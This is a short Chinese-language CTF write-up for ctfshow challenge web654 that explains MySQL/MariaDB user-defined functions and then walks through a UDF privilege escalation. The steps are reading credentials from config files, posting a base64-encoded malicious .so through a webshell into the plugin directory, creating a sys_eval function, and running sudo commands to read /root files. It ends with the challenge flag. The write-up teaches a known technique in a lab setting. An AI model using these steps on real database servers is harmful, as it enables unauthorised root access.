udf提权

udf概念

udf(User Defined Function)是用户自定义函数，udf就是为了让开发者能够自己写方便自己函数，它有3种返回值，这三种分别是STRING（字符型），INTEGER（整型），REAL（实数型）。

定义格式：

CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL} SONAME '文件名'

[AGGREATE]是聚集函数的表示，系统定义的聚集函数比如有COUNT()、AVE()、MN()、MAX()、SUM()
SONAME 'file’表示这个函数从哪个文件里面引入，而这个文件一般是动态链接库，windows下是dll，linux是so，并且这个文件要在mysql的plugin目录下

web654

这里以ctfshow终极考核的web654为例子。
先查看/etc目录下有无敏感文件，发现sudoers.bak，打开后可以看到mysql属于特权用户

查看配置文件，得到mysql的用户名和密码为root，用蚁剑连接

select @@plugin_dir查看自己的plugin目录在哪里

然后将恶意的so文件上传到该目录下，因为so文件太长，这里用python来上传

import requests

url = 'http://c4328151-26b9-4550-ad20-f8550f2982fd.challenge.ctf.show/1.php'
data = {'1': '''`echo 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> /tmp/a.so;cat  /tmp/a.so|base64 -d > /usr/lib/mariadb/plugin/b.so`;
'''}
requests.post(url, data=data)

然后创建自定义函数

create function sys_eval returns string soname 'b.so';

sudo提权

select sys_eval('sudo whoami');

得到flag

select sys_eval('sudo cat /root/you_win');

ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9}